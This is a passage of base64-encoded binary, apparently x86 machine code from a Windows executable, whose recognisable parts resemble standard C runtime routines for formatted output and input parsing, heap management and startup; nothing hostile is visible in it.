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 